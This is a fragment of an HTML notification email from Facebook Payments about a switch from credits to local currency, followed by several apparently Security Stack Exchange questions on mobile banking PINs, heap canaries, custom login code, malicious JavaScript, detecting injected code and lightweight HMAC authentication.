cellpadding=3D"0" width=3D"100%" bgcolor=3D"#e0e1e5" id=3D"table_color" =
style=3D"border-collapse:collapse;"><td style=3D""><table =
cellspacing=3D"0" cellpadding=3D"0" width=3D"100%" id=3D"email_filler" =
style=3D"border-collapse:collapse;"><td height=3D"19" =
style=3D""> </td></table><center><table cellspacing=3D"0" =
cellpadding=3D"0" width=3D"610" =
style=3D"border-collapse:collapse;"><tr><td align=3D"left" =
id=3D"body_container" style=3D"background-color:#ffffff;border-color:#c1c2=
c4;border-style:solid;display:block;border-width:1px;border-radius:5px;-we=
bkit-border-radius:5px;-moz-border-radius:5px;box-shadow:0 1px 1px rgba(0, =
0, 0, 0.10);overflow:hidden;"><table cellspacing=3D"0" cellpadding=3D"0" =
width=3D"100%" style=3D"border-collapse:collapse;"><td =
style=3D"padding:15px;"><table cellspacing=3D"0" cellpadding=3D"0" =
style=3D"border-collapse:collapse;width:100%;"><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding-bottom:10px;">Hi Milo,</td></tr><tr><td =
style=3D"font-size:11px;font-family:LucidaGrande,tahoma,verdana,arial,sans=
-serif;padding-top:10px;padding-bottom:10px;">Facebook has changed from =
credits to local currency. You have $2.30 in your account. You can <a =
href=3D"/settings?tab=3Dpayments" =
style=3D"color:#3b5998;text-decoration:none;">review your balance</a> or =
use this money on apps or games in the <a href=3D"/appcenter" =
style=3D"color:#3b5998;text-decoration:none;">App =
Center</a>.</td></tr><tr><td style=3D"font-size:11px;font-family:LucidaGra=
nde,tahoma,verdana,arial,sans-serif;padding-top:10px;">Thanks,<br />The =
Facebook Payments Team</td></tr></table></td></table></td></tr></table></c=
enter></td></table></td></tr><tr><td =
style=3D"padding:0;width:100%;"><table cellspacing=3D"0" cellpadding=3D"0" =
width=3D"100%" style=3D"border-collapse:collapse;" =
id=3D"footer_table"><tr><td style=3D""><center><table cellspacing=3D"0" =
cellpadding=3D"0" width=3D"610" =
style=3D"border-collapse:collapse;"><tr><td style=3D""><table =
cellspacing=3D"0" cellpadding=3D"0" width=3D"610" border=3D"0" =
id=3D"footer" style=3D"border-collapse:collapse;"><tr><td =
style=3D"font-size:12px;font-family:Helvetica Neue,Helvetica,Lucida =
Grande,tahoma,verdana,arial,sans-serif;padding:18px 0;border-left:none;bor=
der-right:none;border-top:none;border-bottom:none;color:#6a7180;font-weigh=
t:300;line-height:16px;text-align:center;border:none;">This message was =
sent to <a href=3D"mailto:myEmail@gmail.com" =
style=3D"color:#6a7180;text-decoration:none;font-family:Helvetica =
Neue,Helvetica,Lucida Grande,tahoma,verdana,arial,sans-serif;font-weight:b=
old;">myEmail@gmail.com</a>. If you don't want to receive these =
emails from Facebook in the future, please <a href=3D"https://www.facebook=
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The new banking app (for norwegian bank Gjensidige bank) for my android handset allows me to log in using only my social security number, and a 4 digit pin code. The social security number in norway is not a secret number (even though people usually dont post it online). The phone is registered in the internet-bank, to allow the app for each particular handset.
I dont understand how this can be a safe approach? Whatever happend to two-factor authentication?
I have even seen another bank app ( for skandiabanken, https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fitunes.apple.com%2Fno%2Fapp%2Fskandiabanken-mobilbank%2Fid380663360%3Fmt%3D8 (translated from norwegian) ) on IOS allowing to log in using only a 4 digit pin code (my father asked if this was safe, but I discouraged him from installing it).
How can it be more safe to log in from a cell phone or an ipad than from a computer? There seems to be some aspect of this that I don't understand, can anyone enlighten me? (hope I'm on topic here...)
Adding some info from the comments:
The phone / device had to be registered by digitally signing in the online bank. I did not need to provide any info about the phone, but the app needed to be activated with an 8 digit code after registration in the online bank.
My problem is I still cannot see the difference in principal of using an app from a phone or ipad, and using an applet (which is what is used for two-factor authentication in Norway) from a laptop.
Is two factor authentication is only necessary if the bank does not know where the request is coming from? So if I could pre-register my laptop with the bank, and in the process saving a certificate on the laptop, it would be OK to use only a 4-digit code to log in to the bank from the laptop? This sounds a lot like the login process in my I first online bank (only I needed a real password, it was not sufficient with a 4 digit pin).
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Since canary is used by gcc to prevent stack overflow (e.g. -fstack-protector), I am wondering whether glibc uses canary-based approach to defend heap buffer overflow? For example, this paper proposes canary-based detection against heap buffer overflow. And Windows systems already use heap cookies to mitigate heap buffer overflows.
Any reference related to glibc will be highly appreciated. Thank you!
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I have always been told that writing your own login method (e.g. validate user given the username and password) is bad practice, and that one should reuse existing libraries for that.
I have always believed that, but I am looking for practical threats in such a scenario (C#). The practical case I am looking into is customizing a login method to include the validation of a Captcha. I haven't found any existing library to do that inside the authentication logic.
One of the implications of my custom implementation is that the validation method does not return a bool, but another type. May this pose a danger?
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I found some website blacklisted on Google. I mean when you try to visit them, you get something like shown on this picture:
After a small search, I found that some of them have a malicious JavaScript file on few of their URLs.
My question: could a malicious JavaScript file (pointed on a URL www.example.com/pictures/malicious.js) harm the browser/computer in any way? I mean, could it be executed by the browser? Are there known attacks of this type?
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I have a website. Suppose someone will code a program that will click continuously on the links of my webpage: could this lead to a DoS attack ?
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As https://security.stackexchange.com/a/11935/35886 states: the best protection against code injection is to prevent it but often you see posts on SO or here that goes like
I found "long line of php/perl, etc code" and want to know what it does.
Then I realized that many of those code injections tend to be very long lines of code (beside being encoded and possibly encrypted) to prevent being too obvious at a first glance.
Now I was thinking whether automated scans of any code base for some long lines of code could provide a cheap mechanism to detect code injection blocks in interpreted languages?
A quick search did not reveal any correlation of hits and false positives when scanning for code lines longer than n chars.
I am ware that obfuscated code, but also badly written code would be detected by such a system, but is there a known usage of such a simple technique in any IDS?
For a general hosting provider this might not be practical (or even legal?) to scan all client files for overly long lines as it would required manpower or further risk analysis of all hits and a notification system for the end user. But hosters for blogs etc, which can get some injection by malicious themes or any other type could profit of that. Or am I wrong here?
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I have a classic security problem where Alice needs to prove its identity to Bob but with quite unusual requirements and constraints due to a M2M context.
EDITs in bold
The communication channel used between Alice and Bob has the following characteristics :
only Alice can send messages to Bob (Bob cannot talk to Alice)
messages from Alice are 4 bytes long
Bob stops listening during 10 minutes after receiving 10 messages
Alice must prove its identity using only one message if possible
Other specific requirements are :
Alice has low CPU & memory resources, Bob has high CPU & memory resources
The message must include Alice identity, but without the need to hide it
There is an unlimited number of Bob entities
There is < 4000 entities like Alice which can authenticate to any Bob
Replay attacks must be reasonably prevented (a replay can be possible during a few minutes after emission but not more)
It is ok for Bob to be fooled by brute force as long as it takes time to the adversary to do so (i.e. several days of computation or message retry)
Here is what I came up with for Alice 4 bytes message :
bits 1-20 = truncate(HMAC(date.format(dd/MM/yy hh:mm)),20)
bits 21-32 = Alice ID (12bits = 4096 IDs)
When Bob receive the message, if we allow for X minutes deviation between Alice's and Bob's clock, Bob computes
truncate(HMAC(date.format(dd/MM/yy hh:mm)),20)
for X/2 minutes after and before the reception.
So for e.g. X=10 minutes, Bob computes 10 values. If one of these values match Alice emission, Alice is authenticated.
The adversary has X / 2^20 chances to randomly generate the good message. Since Bob only listen 10 messages every 10 minutes, this would take ~73 days on average if my maths are correct (for X = 10 minutes), which is fine.
Replay attack is possible during X/2 minutes.
The higher chance of collision introduced by truncating the HMAC to 20 bits do not compromise the private key nor reduce the level of security of the process AFAIK.
I am a developer, not a security guy, is my solution reasonable and my analysis correct?
Do you see a better one ?
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After having the hostmaster@domain.com email compromised, we found that someone issued a
Domain Validated SSL certificate for our domain.
Now we want to have all such certificates revoked.
Is there a way to find all certificates issued to our domain by different SSL providers?
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